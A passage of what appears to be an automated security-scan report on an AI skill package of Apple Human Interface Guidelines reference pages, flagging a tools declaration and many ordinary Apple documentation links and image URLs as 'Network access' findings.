    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/473C8E4A-1764-482D-BE24-B3A7BBDBD526/9996_wide_250x141_1x.jpg) What’s new in passkeys ](https://developer.apple.com/videos/play/wwdc2025/279)
  • Network accessline 106
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/9D0EBBBA-766E-4306-A14C-39339DD76D58/9271_wide_250x141_1x.jpg) What’s new in device management ](https://developer.apple.com/videos/play/wwdc2024

skills/hig-patterns/references/managing-notifications.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Managing notifications | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/managing-notifications
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/managing-notifications
  • Network accessline 9
    ![A sketch of bell with a small overlapping circle, suggesting a notification sound. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](htt
  • Network accessline 13
    ## [Integrating with Focus](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Integrating-with-Focus)
  • Network accessline 30
    To support these behavior customizations, you first identify the types of notifications your app or game can send. If you support direct communications — like phone calls and messages — you use _communication_ notifications; for all other t
  • Network accessline 60
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Best-practices)
  • Network accessline 64
    **Use the Time Sensitive interruption level only for notifications that are relevant in the moment.** To help people understand the benefits of letting Time Sensitive notifications break through a Focus or scheduled delivery, make sure the 
  • Network accessline 66
    ## [Sending marketing notifications](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Sending-marketing-notifications)
  • Network accessline 74
    **Make sure people can manage their notification settings within your app.** In addition to requesting permission to send informational or marketing notifications, you must also provide an in-app settings screen that lets people change thei
  • Network accessline 76
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Platform-considerations)
  • Network accessline 80
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#watchOS)
  • Network accessline 84
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Resources)
  • Network accessline 86
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Related)
  • Network accessline 88
    [Privacy](https://developer.apple.com/design/human-interface-guidelines/privacy)
  • Network accessline 90
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Developer-documentation)
  • Network accessline 92
    [User Notifications](https://developer.apple.com/documentation/UserNotifications)
  • Network accessline 94
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/managing-notifications#Videos)
  • Network accessline 96
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/B63A08EA-8856-4C77-9E1B-EA1CAD990619/4986_wide_250x141_1x.jpg) Send communication and Time Sensitive notifications ](https://developer.apple.com/videos/play/wwdc2021/10091)
  • Network accessline 98
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/3D8237BC-06E3-4711-8552-7008A5D5BAAD/3764_wide_250x141_1x.jpg) The Push Notifications primer ](https://developer.apple.com/videos/play/wwdc2020/10095)

skills/hig-patterns/references/modality.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Modality | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/modality
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/modality
  • Network accessline 9
    ![A sketch of an active window above an inactive window, suggesting focus on the frontmost window. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Ap
  • Network accessline 26
    To provide a temporary experience, like viewing media, or to help people perform a distinct, multistep task, like editing content, apps can offer a full-screen modal experience. In contrast, apps may also offer nonmodal types of full-screen
  • Network accessline 28
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/modality#Best-practices)
  • Network accessline 46
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/modality#Platform-considerations)
  • Network accessline 50
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/modality#Resources)
  • Network accessline 52
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/modality#Related)
  • Network accessline 54
    [Sheets](https://developer.apple.com/design/human-interface-guidelines/sheets)
  • Network accessline 56
    [Alerts](https://developer.apple.com/design/human-interface-guidelines/alerts)
  • Network accessline 58
    [Popovers](https://developer.apple.com/design/human-interface-guidelines/popovers)
  • Network accessline 60
    [Action sheets](https://developer.apple.com/design/human-interface-guidelines/action-sheets)
  • Network accessline 62
    [Activity views](https://developer.apple.com/design/human-interface-guidelines/activity-views)
  • Network accessline 64
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/modality#Developer-documentation)
  • Network accessline 66
    [Presentation modifiers](https://developer.apple.com/documentation/SwiftUI/View-Presentation) — SwiftUI
  • Network accessline 68
    [`UIModalPresentationStyle`](https://developer.apple.com/documentation/UIKit/UIModalPresentationStyle) — UIKit
  • Network accessline 70
    [Modal Windows and Panels](https://developer.apple.com/documentation/AppKit/modal-windows-and-panels) — AppKit
  • Network accessline 72
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/modality#Videos)
  • Network accessline 74
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/1AAA030E-2ECA-47D8-AE09-6D7B72A840F6/10044_wide_250x141_1x.jpg) Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 76
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/modality#Change-log)

skills/hig-patterns/references/multitasking.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Multitasking | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/multitasking
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/multitasking
  • Network accessline 9
    ![A sketch of two side-by-side windows in a split view arrangement, suggesting multitasking. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple lo
  • Network accessline 13
    In addition to app switching, multitasking can present different experiences on different devices; see [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/multitasking#Platform-considerations).
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/multitasking#Best-practices)
  • Network accessline 30
    For guidance, see [Playing audio](https://developer.apple.com/design/human-interface-guidelines/playing-audio).
  • Network accessline 34
    **Use notifications sparingly.** Your app can send notifications when it’s suspended or running in the background. If people start an important or time-sensitive task in your app, and then switch away from it, they might appreciate receivin
  • Network accessline 36
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/multitasking#Platform-considerations)
  • Network accessline 40
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/multitasking#iOS)
  • Network accessline 44
    ![A screenshot of the app switcher on iPhone, showing four open apps.](https://docs-assets.developer.apple.com/published/519ce5b2d1298e573aab62d4ea3427c9/multitasking-app-switcher-iphone%402x.png)
  • Network accessline 48
    ![A screenshot of Mail on iPhone, showing an individual email. On top of the email body content, a small image in the bottom-left corner shows the person currently in a FaceTime call.](https://docs-assets.developer.apple.com/published/f6800
  • Network accessline 52
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/multitasking#iPadOS)
  • Network accessline 54
    On iPad, people can view and interact with the [windows](https://developer.apple.com/design/human-interface-guidelines/windows) of several different apps at the same time. An individual app can also support multiple open windows, which lets
  • Network accessline 58
    ![A screenshot of the iPad app switcher in landscape orientation, showing five open apps. Thumbnail representations of the apps are arranged in a grid.](https://docs-assets.developer.apple.com/published/b1c2946808ad75c7036af18706a55b79/mult
  • Network accessline 60
    When using windowed apps, app windows are resizable, and people can arrange them to suit their needs with behavior similar to macOS. The system provides window controls for common tiling configurations, entering full screen, minimizing, and
  • Network accessline 62
    ![A screenshot of two windowed apps on iPad in landscape orientation. The frontmost app window overlaps and casts a shadow on the one behind it, and has colored window controls to indicate that the window is active. Both windows sit atop th
  • Network accessline 70
    To help your app respond correctly when people open it while windowed, make sure it adapts gracefully to different screen sizes. For guidance, see [Layout](https://developer.apple.com/design/human-interface-guidelines/layout) and [Windows](
  • Network accessline 72
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/multitasking#macOS)
  • Network accessline 74
    On Mac, multitasking is the default experience because people typically run more than one app at a time, switching between windows and tasks as they work. When multiple app windows are open, macOS applies drop shadows that make the windows 
  • Network accessline 76
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/multitasking#tvOS)
  • Network accessline 80
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/multitasking#visionOS)
  • Network accessline 102
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/multitasking#Resources)
  • Network accessline 104
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/multitasking#Related)
  • Network accessline 106
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 108
    [Windows](https://developer.apple.com/design/human-interface-guidelines/windows)
  • Network accessline 110
    [Playing video](https://developer.apple.com/design/human-interface-guidelines/playing-video)
  • Network accessline 112
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/multitasking#Developer-documentation)
  • Network accessline 114
    [Responding to the launch of your app](https://developer.apple.com/documentation/UIKit/responding-to-the-launch-of-your-app) — UIKit
  • Network accessline 116
    [Multitasking on iPad, Mac, and Apple Vision Pro](https://developer.apple.com/documentation/UIKit/multitasking-on-ipad-mac-and-apple-vision-pro) — UIKit
  • Network accessline 118
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/multitasking#Videos)
  • Network accessline 120
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/873F40BE-101A-4C0D-99F0-F5C7CE7B47A3/10046_wide_250x141_1x.jpg) Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd
  • Network accessline 122
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/A8CAF870-197F-4982-83D8-56513E5D7D0B/10000_wide_250x141_1x.jpg) Make your UIKit app more flexible ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 124
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/multitasking#Change-log)

skills/hig-patterns/references/offering-help.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Offering help | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/offering-help
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/offering-help
  • Network accessline 9
    ![A sketch of a question mark, suggesting help is available. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.develop
  • Network accessline 11
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/offering-help#Best-practices)
  • Network accessline 17
    **Make sure all help content is inclusive.** For guidance, see [Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion).
  • Network accessline 21
    ## [Creating tips](https://developer.apple.com/design/human-interface-guidelines/offering-help#Creating-tips)
  • Network accessline 23
    A tip is a small, transient view that briefly describes how to use a feature in your app. Tips are a great way to teach people about new or less obvious features in your app, or help them discover faster ways to accomplish a task. For devel
  • Network accessline 27
    ![An illustration of a popover-style tip on iPhone. The tip appears atop nearby content, and points to a feature depicted by a blue star icon. The content beneath the tip is obscured.](https://docs-assets.developer.apple.com/published/2a1de
  • Network accessline 31
    ![An illustration of an annotation-style tip on iPhone. The tip is embedded among the surrounding content, and points to a feature depicted by a blue star icon. Displaced text appears above and below the tip.](https://docs-assets.developer.
  • Network accessline 35
    ![An illustration of an hint-style tip on iPhone. The tip is embedded among the surrounding content. Displaced text appears above and below the tip.](https://docs-assets.developer.apple.com/published/706238176beb6869a8cf4cd06e22912c/offerin
  • Network accessline 47
    ![An illustration of a hint-style tip with an unfilled blue star symbol on the leading side.](https://docs-assets.developer.apple.com/published/e4a119cd09255a5e22c5132263c39cd9/offering-help-tip-symbol-usage-unfilled-incorrect%402x.png)
  • Network accessline 49
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 51
    ![An illustration of a hint-style tip with a filled blue star symbol on the leading side.](https://docs-assets.developer.apple.com/published/be5eb0f23474419bcb3b182b24c24d77/offering-help-tip-symbol-usage-filled-correct%402x.png)
  • Network accessline 53
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 57
    ![An illustration of an annotation-style tip pointing to a feature depicted by a blue star icon. The tip includes a similar blue star symbol on its leading side.](https://docs-assets.developer.apple.com/published/b35499b146567d76a7ca996cf3e
  • Network accessline 59
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 61
    ![An illustration of an annotation-style tip pointing to a feature depicted by a blue star icon. The tip is text-only and omits an accompanying symbol.](https://docs-assets.developer.apple.com/published/afa3b233a9ec05e15e54fd1ec909c015/offe
  • Network accessline 63
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 67
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/offering-help#Platform-considerations)
  • Network accessline 71
    ### [macOS, visionOS](https://developer.apple.com/design/human-interface-guidelines/offering-help#macOS-visionOS)
  • Network accessline 73
    A _tooltip_ (called a _help tag_ in user documentation) displays a small, transient view that briefly describes how to use a component in the interface. In apps that run on a Mac — including iPhone and iPad apps — tooltips can appear when a
  • Network accessline 75
    ![An illustration of a toolbar in macOS Finder with the pointer over the Back button. A tooltip with the title See folders you viewed previously appears beneath the pointer.](https://docs-assets.developer.apple.com/published/a5dc5c63ac62773
  • Network accessline 89
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/offering-help#Resources)
  • Network accessline 91
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/offering-help#Related)
  • Network accessline 93
    [Onboarding](https://developer.apple.com/design/human-interface-guidelines/onboarding)
  • Network accessline 95
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 97
    [Writing](https://developer.apple.com/design/human-interface-guidelines/writing)
  • Network accessline 99
    [Help menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Help-menu)
  • Network accessline 101
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/offering-help#Developer-documentation)
  • Network accessline 103
    [TipKit](https://developer.apple.com/documentation/TipKit)
  • Network accessline 105
    [`NSHelpManager`](https://developer.apple.com/documentation/AppKit/NSHelpManager) — AppKit
  • Network accessline 107
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/offering-help#Videos)
  • Network accessline 109
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/7BCB7D16-5D51-419D-B332-E008219FB631/8293_wide_250x141_1x.jpg) Make features discoverable with TipKit ](https://developer.apple.com/videos/play/w
  • Network accessline 111
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/offering-help#Change-log)

skills/hig-patterns/references/onboarding.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Onboarding | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/onboarding
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/onboarding
  • Network accessline 9
    ![A sketch of a waving hand, suggesting a gesture of welcoming. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.deve
  • Network accessline 11
    Ideally, people can understand your app or game simply by experiencing it, but if onboarding is necessary, design a flow that’s fast, fun, and optional. When available, onboarding occurs after [launching](https://developer.apple.com/design/
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/onboarding#Best-practices)
  • Network accessline 17
    **Consider providing a collection of context-specific tips instead of a single onboarding flow.** Integrating contextually relevant tips into your experience can help people learn about their current task while they make progress in your ap
  • Network accessline 25
    ## [Additional content](https://developer.apple.com/design/human-interface-guidelines/onboarding#Additional-content)
  • Network accessline 29
    **Don’t let large downloads hinder onboarding.** People want to start using your app or game immediately after first launching it, whether they participate in an onboarding flow or skip it. Consider including enough media and other content 
  • Network accessline 33
    ## [Additional requests](https://developer.apple.com/design/human-interface-guidelines/onboarding#Additional-requests)
  • Network accessline 37
    **If your app or game needs access to private data or resources before it can function, consider integrating the permission request into your onboarding flow.** In this scenario, making the request during your onboarding flow gives you the 
  • Network accessline 41
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/onboarding#Platform-considerations)
  • Network accessline 45
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/onboarding#Resources)
  • Network accessline 47
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/onboarding#Related)
  • Network accessline 49
    [Launching](https://developer.apple.com/design/human-interface-guidelines/launching)
  • Network accessline 51
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 53
    [Offering help](https://developer.apple.com/design/human-interface-guidelines/offering-help)
  • Network accessline 55
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/onboarding#Videos)
  • Network accessline 57
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/BE8FF113-0FE1-40FC-86BF-FE95BE2FF7A5/5027_wide_250x141_1x.jpg) Discoverable design ](https://developer.apple.com/videos/play/wwdc2021/10126)
  • Network accessline 59
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/B27C091C-CF5C-4E42-B1E2-9172615462AB/2724_wide_250x141_1x.jpg) Designing Award Winning Apps and Games ](https://developer.apple.com/videos/play/wwdc2019/802)
  • Network accessline 61
    [![](https://devimages-cdn.apple.com/wwdc-services/images/7/2C48F507-180B-4858-BB26-488C234B067F/1920_wide_250x141_1x.jpg) Love at First Launch ](https://developer.apple.com/videos/play/wwdc2017/816)
  • Network accessline 63
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/onboarding#Change-log)

skills/hig-patterns/references/playing-audio.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Playing audio | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/playing-audio
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/playing-audio
  • Network accessline 9
    ![A sketch of a speaker emitting sound waves, suggesting the playback of audio. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://
  • Network accessline 19
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Best-practices)
  • Network accessline 25
    **Use the system-provided volume view to let people make audio adjustments.** The volume view includes a volume-level slider and a control for rerouting audio output. You can customize the appearance of the slider. For developer guidance, s
  • Network accessline 27
    **Choose an audio category that fits the way your app or game uses sound.** Depending on the audio category you choose, your app’s sounds can mix with other audio, play while your app is in the background, or stop when people set the Ring/S
  • Network accessline 43
    **Let other apps know when your app finishes playing temporary audio.** If your app can temporarily interrupt the audio of other apps, be sure to flag your audio session in a way that lets other apps know when they can resume. For developer
  • Network accessline 45
    ## [Handling interruptions](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Handling-interruptions)
  • Network accessline 49
    **Determine how to respond to audio-session interruptions.** For example, if your app supports recording or other audio-related tasks that people don’t want interrupted, you can tell the system to avoid interrupting the currently playing au
  • Network accessline 51
    **When an interruption ends, determine whether to resume audio playback automatically.** Sometimes, audio from a different app can interrupt the audio your app is playing. An interruption can be _resumable_ , like an incoming phone call, or
  • Network accessline 53
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Platform-considerations)
  • Network accessline 55
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/playing-audio#iOS-iPadOS)
  • Network accessline 57
    **Use the system’s sound services to play short sounds and vibrations.** For developer guidance, see [Audio Services](https://developer.apple.com/documentation/AudioToolbox/audio-services).
  • Network accessline 59
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/playing-audio#macOS)
  • Network accessline 63
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/playing-audio#tvOS)
  • Network accessline 67
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/playing-audio#visionOS)
  • Network accessline 73
    In visionOS, as in every platform, avoid communicating important information using only sound. Always provide additional ways to help people understand your app. For guidance, see [Accessibility](https://developer.apple.com/design/human-int
  • Network accessline 89
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/playing-audio#watchOS)
  • Network accessline 91
    In watchOS, the system manages audio playback. An app can play short audio clips while it’s active and running in the foreground, or it can play longer audio that continues even when people lower their wrist or switch to another app. For de
  • Network accessline 95
    **Consider** **presenting a Now Playing view so people can control current or recently played audio without leaving your app.** The system-provided Now Playing view also displays information about the current audio source — which might be a
  • Network accessline 97
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Resources)
  • Network accessline 99
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Related)
  • Network accessline 101
    [Playing video](https://developer.apple.com/design/human-interface-guidelines/playing-video)
  • Network accessline 103
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 105
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Developer-documentation)
  • Network accessline 107
    [Configuring your app for media playback](https://developer.apple.com/documentation/AVFoundation/configuring-your-app-for-media-playback) — AVFoundation
  • Network accessline 109
    [`AVAudioSession`](https://developer.apple.com/documentation/AVFAudio/AVAudioSession) — AVFAudio
  • Network accessline 111
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Videos)
  • Network accessline 113
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/FAD92809-C8B7-4968-802C-C662B1AF6C94/8340_wide_250x141_1x.jpg) Explore immersive sound design ](https://developer.apple.com/videos/play/wwdc2023/
  • Network accessline 115
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/15489B11-8744-483D-AD38-EF78D8962FF4/8126_wide_250x141_1x.jpg) Principles of spatial design ](https://developer.apple.com/videos/play/wwdc2023/10
  • Network accessline 117
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/28DB1BEB-3F4F-4418-ACD3-779DBFB889CB/5196_wide_250x141_1x.jpg) Immerse your app in Spatial Audio ](https://developer.apple.com/videos/play/wwdc2021/10265)
  • Network accessline 119
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Change-log)

skills/hig-patterns/references/playing-haptics.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Playing haptics | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/playing-haptics
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/playing-haptics
  • Network accessline 9
    ![A sketch of a horizontal line of three slightly overlapping circles, suggesting vibration. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple lo
  • Network accessline 15
    * In an iPadOS, macOS, tvOS, or visionOS app or game, [game controllers](https://developer.apple.com/design/human-interface-guidelines/game-controls) can provide haptic feedback (for developer guidance, see [Playing Haptics on Game Controll
  • Network accessline 17
    * [Apple Pencil Pro](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble) and some trackpads can provide haptic feedback when connected to certain iPad models. (For details on Apple Pencil features and co
  • Network accessline 22
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Best-practices)
  • Network accessline 24
    **Use system-provided haptic patterns according to their documented meanings.** People recognize standard haptics because the system plays them consistently on interactions with standard controls. If the documented use case for a pattern do
  • Network accessline 28
    **Prefer using haptics to complement other feedback in your app or game.** When visual, auditory, and tactile feedback are in harmony — as they generally are in the physical world — the user experience is more coherent and can seem more nat
  • Network accessline 38
    ## [Custom haptics](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Custom-haptics)
  • Network accessline 55
    By combining transient and continuous events, varying sharpness and intensity, and including optional audio content, you can create a wide range of different haptic experiences. For developer guidance, see [Core Haptics](https://developer.a
  • Network accessline 57
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Platform-considerations)
  • Network accessline 59
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#iOS)
  • Network accessline 63
    * Use standard UI components — like [toggles](https://developer.apple.com/design/human-interface-guidelines/toggles), [sliders](https://developer.apple.com/design/human-interface-guidelines/sliders), and [pickers](https://developer.apple.co
  • Network accessline 65
    * When it makes sense, use a feedback generator to play one of several predefined haptic patterns in the categories of [notification](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Notification), [impact](http
  • Network accessline 70
    #### [Notification](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Notification)
  • Network accessline 98
    #### [Impact](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Impact)
  • Network accessline 142
    #### [Selection](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Selection)
  • Network accessline 154
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#macOS)
  • Network accessline 164
    For developer guidance, see [`NSHapticFeedbackPerformer`](https://developer.apple.com/documentation/AppKit/NSHapticFeedbackPerformer).
  • Network accessline 166
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#watchOS)
  • Network accessline 168
    Apple Watch Series 4 and later provides haptic feedback for the Digital Crown, which gives people a more tactile experience as they scroll through content. By default, the system provides linear haptic detents that people can feel as they r
  • Network accessline 256
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Resources)
  • Network accessline 258
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Related)
  • Network accessline 260
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 262
    [Gestures](https://developer.apple.com/design/human-interface-guidelines/gestures)
  • Network accessline 264
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Developer-documentation)
  • Network accessline 266
    [Core Haptics](https://developer.apple.com/documentation/CoreHaptics)
  • Network accessline 268
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Videos)
  • Network accessline 270
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/100FA6DD-1A48-485A-AFC2-47FDB92376D3/5210_wide_250x141_1x.jpg) Practice audio haptic design ](https://developer.apple.com/videos/play/wwdc2021/10278)
  • Network accessline 272
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/9EEAE751-B5EE-4934-8F3A-38361FBA05DE/3277_wide_250x141_1x.jpg) Introducing Core Haptics ](https://developer.apple.com/videos/play/wwdc2019/520)
  • Network accessline 274
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Change-log)

skills/hig-patterns/references/playing-video.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Playing video | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/playing-video
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/playing-video
  • Network accessline 9
    ![A sketch of a play button, suggesting video playback. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.developer.ap
  • Network accessline 15
    * In full-screen — or _aspect-fill_ — mode, the video scales to fill the display, and some edge cropping may occur. This mode is the default for wide video (2:1 through 2.40:1). For developer guidance, see [`resizeAspectFill`](https://devel
  • Network accessline 17
    * In fit-to-screen — or _aspect_ — mode, the entire video is visible onscreen, and letterboxing or pillarboxing occurs as needed. This mode is the default for standard video (4:3, 16:9, and anything up to 2:1) and ultrawide video (anything 
  • Network accessline 22
    In visionOS and tvOS, the built-in video player also provides _transport controls,_ which let people perform playback tasks, like turning on subtitles or changing the audio language, and actions, like adding a show to a library or favoritin
  • Network accessline 24
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/playing-video#Best-practices)
  • Network accessline 37
    ![An illustration of iPhone in landscape orientation. A blue rectangle shows the AVKit safe area within the screen. Overlaying the safe area and extending beyond it on all sides is a purple rectangle that represents the 4:3 video area, whic
  • Network accessline 39
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)4:3 video in full-screen viewing mode
  • Network accessline 41
    ![An illustration of iPhone in landscape orientation. A blue rectangle shows the AVKit safe area within the screen. Overlaying the safe area and extending beyond its top and bottom edges is a purple rectangle that represents the 4:3 video a
  • Network accessline 43
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)4:3 video with embedded padding, in full-screen viewing mode
  • Network accessline 45
    ![A legend for the illustrations, identifying blue as the AVKit safe area, purple as the video area, and pink as the embedded padding.](https://docs-assets.developer.apple.com/published/fc703118ebdf69f3c70d70ffce64727e/legend-letter-pillar%
  • Network accessline 47
    ![An illustration of iPhone in landscape orientation. A blue rectangle shows the AVKit safe area within the screen. Overlaying the safe area and extending to the top and bottom edges of the device is a purple rectangle representing the 21:9
  • Network accessline 49
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)21:9 video in fit-to-screen viewing mode
  • Network accessline 51
